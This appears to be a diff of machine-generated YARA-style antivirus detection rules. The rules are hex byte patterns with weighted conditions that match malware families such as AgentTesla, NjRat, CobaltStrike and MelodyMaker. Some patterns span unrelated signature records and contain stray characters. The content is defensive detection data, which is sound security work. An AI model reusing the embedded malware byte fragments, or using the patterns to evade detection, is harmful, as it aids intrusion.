4d 57 32 33 34 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 4a 01 00 8d 90 02 0f 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 01 08 20 00 4a 01 00 fe 04 13 01 00 08 81 } //18467 $a_74_1 = {69 78 65 6c 00 00 78 6a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 37 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 2c 01 00 8d 90 02 0f 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 01 08 20 00 2c 01 00 fe 04 13 } //18177 $a_81_2 = {47 65 74 50 69 78 65 6c } //1 GetPixel - $a_6a_3 = {00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 01 00 12 00 2f 2f 70 72 65 2f 62 75 6e 64 6c 65 5f 61 6c 6c 6f 77 01 00 0c 80 01 49 6e 73 74 61 6c 6c 54 69 63 6e 6f 01 00 12 80 01 66 69 6c 65 20 77 69 74 68 20 6d 75 6c 74 69 62 61 72 01 00 0b 00 2f 2f 74 69 63 6e 6f 2e 63 6f 6d 00 00 78 6a 00 00 05 00 05 00 01 00 21 23 54 } //0 + $a_6a_3 = {00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 01 00 12 00 2f 2f 70 72 65 2f 62 75 6e 64 6c 65 5f 61 6c 6c 6f 77 01 00 0c 80 01 49 6e 73 74 61 6c 6c 54 69 63 6e 6f 01 00 12 80 01 66 69 6c 65 20 77 69 74 68 20 6d 75 6c 74 69 62 61 72 01 00 0b 00 2f 2f 74 69 63 6e 6f 2e 63 6f 6d 00 00 78 6a 00 00 07 00 07 00 02 00 21 23 41 } //0 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_81_2 & 1)*1+(#a_6a_3 & 1)*0) >=4 } -rule _InfrastructureShared_6354{ +rule _InfrastructureShared_6685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 34 37 21 4d 54 42 00 01 00 0e 03 16 0a 20 00 2c 01 00 8d 90 02 0f 0b 90 00 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 09 01 08 20 00 2c 01 00 fe 04 13 01 00 08 81 } //18467 $a_74_1 = {69 78 65 6c 00 00 78 6a 00 00 04 00 04 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 01 00 12 00 2f 2f 70 72 65 2f 62 75 6e 64 6c 65 5f 61 6c 6c 6f 77 01 00 0c 80 01 49 6e 73 74 61 6c 6c 54 69 63 6e 6f 01 00 12 80 01 66 69 6c 65 20 77 69 74 68 20 6d 75 6c 74 69 62 61 72 01 00 } //18177 - $a_2f_2 = {69 63 6e 6f 2e 63 6f 6d 00 00 78 6a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 50 47 4e } //11 - $a_42_3 = {05 00 3e 03 06 11 07 6c 23 00 00 00 00 00 00 00 40 5b 28 90 01 01 00 00 0a b7 07 11 07 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 9c 00 11 07 18 d6 13 07 11 07 11 0b 13 0d 11 0d 31 ca 90 00 00 00 78 6a 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a } //19745 + $a_2f_2 = {69 63 6e 6f 2e 63 6f 6d 00 00 78 6a 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e } //11 + $a_4a_3 = {4d 54 42 00 04 00 1c 01 76 33 61 fe 6b 57 70 33 2f fe 2d 57 82 37 c0 00 2d 57 3e 33 2f fe 2c 57 3f 33 2f fe 03 00 1a 01 43 fe 48 57 76 33 41 fe 4b 57 50 33 2f fe 2d 57 1b 33 2b fe 2d 57 6b 33 5d } //16715 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_2f_2 & 1)*11+(#a_42_3 & 1)*19745) >=4 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_2f_2 & 1)*11+(#a_4a_3 & 1)*16715) >=4 } -rule _InfrastructureShared_6355{ +rule _InfrastructureShared_6686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4d 75 6c 74 69 62 61 72 00 01 00 12 00 2f 2f 70 72 65 2f 62 75 6e 64 6c 65 5f 61 6c 6c 6f 77 01 00 0c 80 01 49 6e 73 74 61 6c 6c 54 69 63 6e 6f 01 00 12 80 01 66 69 6c 65 20 77 69 74 68 20 6d 75 6c 74 69 62 61 72 01 00 0b 00 2f 2f 74 69 } //20515 - $a_2e_1 = {6f 6d 00 00 78 6a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 50 47 4e 21 4d 54 42 00 05 00 3e 03 06 11 07 6c 23 00 00 00 00 00 00 00 40 5b 28 90 01 01 00 00 0a b7 07 11 07 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 9c 00 11 07 18 d6 13 07 11 07 11 0b 13 0d 11 0d 31 ca 90 } //28259 - $a_00_3 = {07 00 02 00 21 23 41 } //0 + $a_2e_1 = {6f 6d 00 00 78 6a 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 4b 41 41 4a 21 4d 54 42 00 04 00 1c 01 76 33 61 fe 6b 57 70 33 2f fe 2d 57 82 37 c0 00 2d 57 3e 33 2f fe 2c 57 3f 33 2f fe 03 00 1a 01 43 fe 48 57 76 33 41 fe 4b 57 50 33 2f fe 2d 57 1b 33 2b fe 2d 57 6b 33 5d } //28259 + $a_00_3 = {0a 00 01 00 21 23 48 53 54 52 } //0 condition: ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*28259+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_6356{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 50 47 4e 21 4d 54 42 00 05 00 3e 03 06 11 07 6c 23 00 00 00 00 00 00 00 40 5b 28 90 01 01 00 00 0a b7 07 11 07 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_6357{ +rule _InfrastructureShared_6687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -66218,7 +69655,7 @@ rule _InfrastructureShared_6357{ ((#a_46_0 & 1)*16675+(#a_fe_1 & 1)*13136) >=7 } -rule _InfrastructureShared_6358{ +rule _InfrastructureShared_6688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -66228,7 +69665,7 @@ rule _InfrastructureShared_6358{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6359{ +rule _InfrastructureShared_6689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -66238,7 +69675,7 @@ rule _InfrastructureShared_6359{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6360{ +rule _InfrastructureShared_6690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -66248,7 +69685,7 @@ rule _InfrastructureShared_6360{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6361{ +rule _InfrastructureShared_6691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -66259,7 +69696,7 @@ rule _InfrastructureShared_6361{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*30035) >=11 } -rule _InfrastructureShared_6362{ +rule _InfrastructureShared_6692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -66271,47 +69708,44 @@ rule _InfrastructureShared_6362{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-14143+(#a_6f_2 & 1)*8993) >=11 } -rule _InfrastructureShared_6363{ +rule _InfrastructureShared_6693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " strings : - $a_77_0 = {69 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 5f 4f 62 66 75 73 00 01 00 04 01 83 7d 0c 01 01 00 04 01 83 7d 0c 02 01 00 04 01 83 7d 0c 05 05 00 04 00 88 07 90 47 05 00 0f 03 8b 4d 10 85 c9 90 90 74 90 01 01 8a 06 90 00 05 00 10 03 8b 4d 10 85 c9 90 90 0f 84 90 01 04 8a 06 90 00 00 00 78 6a 00 00 0c 00 06 00 05 00 21 23 41 4c 46 50 45 } //19491 - $a_61_1 = {6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 75 72 69 64 61 65 47 72 65 65 6e 2e 41 21 64 68 61 00 06 00 09 01 53 79 63 6d 65 6e 74 65 63 06 00 0e 02 14 88 77 66 c7 90 02 03 08 02 00 00 90 00 02 00 04 00 } //14930 - $a_55_2 = {00 04 00 01 77 66 55 02 00 04 00 11 88 77 66 00 00 78 6a 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 6c 6f 64 79 4d 61 6b 65 72 2e 41 21 64 68 61 00 0a 00 0e 01 48 8b 44 24 28 8b 40 09 39 44 24 20 73 46 0a 00 22 01 8b 4c 24 20 33 d2 8b c1 b9 09 00 } //30467 - $a_f7_3 = {48 8b c2 48 8b 4c 24 28 0f b6 04 01 8b 4c 24 24 33 c8 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 61 63 65 50 6c 61 6e 2e 41 21 64 68 61 00 64 00 39 03 43 } //0 - $a_73_4 = {72 73 5c 51 75 73 6f 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 90 02 1e 5c 90 03 07 05 52 65 6c 65 61 73 65 44 65 62 75 67 5c 90 02 14 2e 70 64 62 90 00 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 48 53 54 52 3a 44 69 73 61 62 6c 65 5f 58 5f 42 75 74 74 6f } //23610 - $a_46_5 = {47 52 41 59 45 44 00 01 00 3a 03 8b 40 20 ff 70 20 ff 15 90 01 04 33 d2 66 8b 7d 0c 66 3b fe 75 01 42 8b 4d 08 2b ce 74 2f 49 74 24 49 74 0b 49 75 33 52 68 10 f0 00 00 eb 24 52 68 60 f0 00 00 50 ff 15 90 00 00 00 01 00 78 6a 00 00 } //24430 + $a_77_0 = {69 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 5f 4f 62 66 75 73 00 01 00 04 01 83 7d 0c 01 01 00 04 01 83 7d 0c 02 01 00 04 01 83 7d 0c 05 05 00 04 00 88 07 90 47 05 00 0f 03 8b 4d 10 85 c9 90 90 74 90 01 01 8a 06 90 00 05 00 10 03 8b 4d 10 85 c9 90 90 0f 84 90 01 04 8a 06 90 00 00 00 78 6a 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 } //19491 + $a_61_1 = {6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 6c 6f 64 79 4d 61 6b 65 72 2e 41 21 64 68 61 00 0a 00 0e 01 48 8b 44 24 28 8b 40 09 39 44 24 20 73 46 0a 00 22 01 8b 4c 24 20 33 d2 8b c1 b9 09 00 00 00 48 } //14930 + $a_8b_2 = {48 8b 4c 24 28 0f b6 04 01 8b 4c 24 24 33 c8 00 00 78 6a 00 00 41 00 41 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 1e 00 0f 01 37 42 38 4e 38 58 38 62 38 44 } //-3593 + $a_71_3 = {0a 00 11 01 34 24 34 30 34 37 34 58 34 5d 34 66 34 70 34 77 34 19 00 17 03 f5 1d 1d 1d 1d 45 9e dd 1a db 1d 90 01 04 1d 1d 9e dd 18 94 58 90 00 00 00 78 6a 00 00 64 00 64 } //23865 + $a_3a_5 = {61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 61 63 65 50 6c 61 6e 2e 41 21 64 68 61 00 64 00 39 03 43 3a 5c 55 73 65 72 73 5c 51 75 73 6f 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 90 02 1e 5c 90 03 07 05 52 } //19521 condition: - ((#a_77_0 & 1)*19491+(#a_61_1 & 1)*14930+(#a_55_2 & 1)*30467+(#a_f7_3 & 1)*0+(#a_73_4 & 1)*23610+(#a_46_5 & 1)*24430) >=11 + ((#a_77_0 & 1)*19491+(#a_61_1 & 1)*14930+(#a_8b_2 & 1)*-3593+(#a_71_3 & 1)*23865+(#a_3a_5 & 1)*19521) >=11 } -rule _InfrastructureShared_6364{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 06 00 05 00 21 " - - strings : - $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 75 72 69 64 61 65 47 72 65 65 6e 2e 41 21 64 68 61 00 06 00 09 01 53 79 63 6d 65 6e 74 65 63 06 00 0e 02 14 88 77 66 c7 90 02 03 08 02 00 00 90 00 02 00 04 00 03 77 66 55 } //16675 - $a_00_1 = {01 77 66 55 } //2 省啦 - $a_00_2 = {11 88 77 66 } //2 - $a_6a_3 = {00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 6c 6f 64 79 4d 61 6b 65 72 2e 41 21 64 68 61 00 0a 00 0e 01 48 8b 44 24 28 8b 40 09 39 44 24 20 73 46 0a 00 22 01 8b 4c 24 20 33 d2 8b c1 b9 09 00 00 00 48 f7 f1 48 8b c2 48 8b 4c 24 28 0f b6 04 01 8b 4c 24 24 33 c8 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 41 } //0 - $a_48_4 = {63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 61 63 65 50 6c 61 6e 2e 41 21 64 68 61 00 64 00 39 03 43 3a 5c 55 73 65 72 73 5c 51 75 73 6f 5c 73 6f 75 72 63 65 5c 72 65 70 6f } //17996 正潔汯场湩㈳启慲散汐湡䄮搡慨搀㤀䌃尺獕牥屳畑潳獜畯捲履敲潰 - condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_6a_3 & 1)*0+(#a_48_4 & 1)*17996) >=6 - -} -rule _InfrastructureShared_6365{ +rule _InfrastructureShared_6694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " strings : $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 6c 6f 64 79 4d 61 6b 65 72 2e 41 21 64 68 61 00 0a 00 0e 01 48 8b 44 24 28 8b 40 09 39 44 24 20 73 46 0a 00 22 01 8b 4c 24 20 33 d2 8b c1 b9 09 00 00 00 48 f7 f1 48 8b } //16675 - $a_4c_1 = {28 0f b6 04 01 8b 4c 24 24 33 c8 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 61 63 65 50 6c 61 6e 2e 41 21 64 68 61 00 64 00 39 03 43 3a 5c 55 73 65 72 73 5c 51 75 73 6f 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 90 02 1e 5c 90 03 07 05 52 65 6c 65 61 73 65 44 65 62 75 67 5c 90 02 14 2e 70 64 62 90 00 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 48 53 54 52 } //18626 + $a_4c_1 = {28 0f b6 04 01 8b 4c 24 24 33 c8 00 00 78 6a 00 00 41 00 41 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 1e 00 0f 01 37 42 38 4e 38 58 38 62 38 44 39 5d 39 71 39 0a 00 11 01 34 24 34 30 34 37 34 58 34 5d 34 66 34 70 34 77 34 19 00 17 03 f5 1d 1d 1d 1d 45 9e dd 1a db 1d 90 01 04 1d 1d 9e dd 18 94 58 90 00 00 00 78 6a 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a } //18626 condition: ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*18626) >=20 } -rule _InfrastructureShared_6366{ +rule _InfrastructureShared_6695{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,41 00 41 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 1e 00 0f 01 37 42 38 4e 38 58 38 62 38 44 39 5d 39 71 39 0a 00 11 01 34 24 34 30 34 37 34 58 34 5d 34 66 34 70 34 77 34 19 00 17 03 } //21539 + $a_1d_1 = {45 9e dd 1a db 1d 90 01 04 1d 1d 9e dd 18 94 58 90 00 00 00 78 6a 00 00 64 00 64 00 01 } //7669 + $a_41_2 = {46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 72 61 63 65 50 6c 61 6e 2e 41 21 64 68 61 00 64 00 } //8448 + condition: + ((#a_4c_0 & 1)*21539+(#a_1d_1 & 1)*7669+(#a_41_2 & 1)*8448) >=65 + +} +rule _InfrastructureShared_6696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -66321,7 +69755,7 @@ rule _InfrastructureShared_6366{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_6367{ +rule _InfrastructureShared_6697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -66331,7 +69765,7 @@ rule _InfrastructureShared_6367{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_6368{ +rule _InfrastructureShared_6698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -66342,7 +69776,7 @@ rule _InfrastructureShared_6368{ ((#a_46_0 & 1)*16675+(#a_e3_1 & 1)*2019) >=200 } -rule _InfrastructureShared_6369{ +rule _InfrastructureShared_6699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -66353,7 +69787,7 @@ rule _InfrastructureShared_6369{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114) >=200 } -rule _InfrastructureShared_6370{ +rule _InfrastructureShared_6700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66363,7 +69797,7 @@ rule _InfrastructureShared_6370{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6371{ +rule _InfrastructureShared_6701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66373,7 +69807,7 @@ rule _InfrastructureShared_6371{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6372{ +rule _InfrastructureShared_6702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66383,7 +69817,7 @@ rule _InfrastructureShared_6372{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6373{ +rule _InfrastructureShared_6703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66393,7 +69827,7 @@ rule _InfrastructureShared_6373{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6374{ +rule _InfrastructureShared_6704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66403,7 +69837,7 @@ rule _InfrastructureShared_6374{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6375{ +rule _InfrastructureShared_6705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66413,7 +69847,7 @@ rule _InfrastructureShared_6375{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6376{ +rule _InfrastructureShared_6706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66423,7 +69857,7 @@ rule _InfrastructureShared_6376{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6377{ +rule _InfrastructureShared_6707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66433,7 +69867,7 @@ rule _InfrastructureShared_6377{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6378{ +rule _InfrastructureShared_6708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66443,7 +69877,7 @@ rule _InfrastructureShared_6378{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6379{ +rule _InfrastructureShared_6709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66453,7 +69887,7 @@ rule _InfrastructureShared_6379{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6380{ +rule _InfrastructureShared_6710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66463,7 +69897,7 @@ rule _InfrastructureShared_6380{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6381{ +rule _InfrastructureShared_6711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66473,7 +69907,7 @@ rule _InfrastructureShared_6381{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6382{ +rule _InfrastructureShared_6712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66483,7 +69917,7 @@ rule _InfrastructureShared_6382{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6383{ +rule _InfrastructureShared_6713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66493,7 +69927,7 @@ rule _InfrastructureShared_6383{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6384{ +rule _InfrastructureShared_6714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66503,7 +69937,7 @@ rule _InfrastructureShared_6384{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6385{ +rule _InfrastructureShared_6715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66513,7 +69947,7 @@ rule _InfrastructureShared_6385{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6386{ +rule _InfrastructureShared_6716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66523,7 +69957,7 @@ rule _InfrastructureShared_6386{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6387{ +rule _InfrastructureShared_6717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66533,7 +69967,7 @@ rule _InfrastructureShared_6387{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6388{ +rule _InfrastructureShared_6718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66543,7 +69977,7 @@ rule _InfrastructureShared_6388{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6389{ +rule _InfrastructureShared_6719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66553,7 +69987,7 @@ rule _InfrastructureShared_6389{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6390{ +rule _InfrastructureShared_6720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66563,7 +69997,7 @@ rule _InfrastructureShared_6390{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6391{ +rule _InfrastructureShared_6721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66573,7 +70007,7 @@ rule _InfrastructureShared_6391{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6392{ +rule _InfrastructureShared_6722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66583,7 +70017,7 @@ rule _InfrastructureShared_6392{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6393{ +rule _InfrastructureShared_6723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66593,7 +70027,7 @@ rule _InfrastructureShared_6393{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6394{ +rule _InfrastructureShared_6724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66603,7 +70037,7 @@ rule _InfrastructureShared_6394{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6395{ +rule _InfrastructureShared_6725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66613,17 +70047,7 @@ rule _InfrastructureShared_6395{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6396{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 49 53 21 4d 54 42 00 01 00 38 03 48 98 48 8b 95 90 01 04 48 01 d0 0f b6 00 32 85 90 01 04 48 8b 8d 90 01 04 8b 95 90 01 04 48 63 d2 88 04 11 83 85 90 } //21283 - condition: - ((#a_46_0 & 1)*21283) >=1 - -} -rule _InfrastructureShared_6397{ +rule _InfrastructureShared_6726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66633,7 +70057,7 @@ rule _InfrastructureShared_6397{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6398{ +rule _InfrastructureShared_6727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66643,7 +70067,7 @@ rule _InfrastructureShared_6398{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6399{ +rule _InfrastructureShared_6728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66653,7 +70077,7 @@ rule _InfrastructureShared_6399{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6400{ +rule _InfrastructureShared_6729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66663,7 +70087,7 @@ rule _InfrastructureShared_6400{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6401{ +rule _InfrastructureShared_6730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -66673,7 +70097,7 @@ rule _InfrastructureShared_6401{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6402{ +rule _InfrastructureShared_6731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -66684,7 +70108,7 @@ rule _InfrastructureShared_6402{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*5631) >=1 } -rule _InfrastructureShared_6403{ +rule _InfrastructureShared_6732{ meta: description = 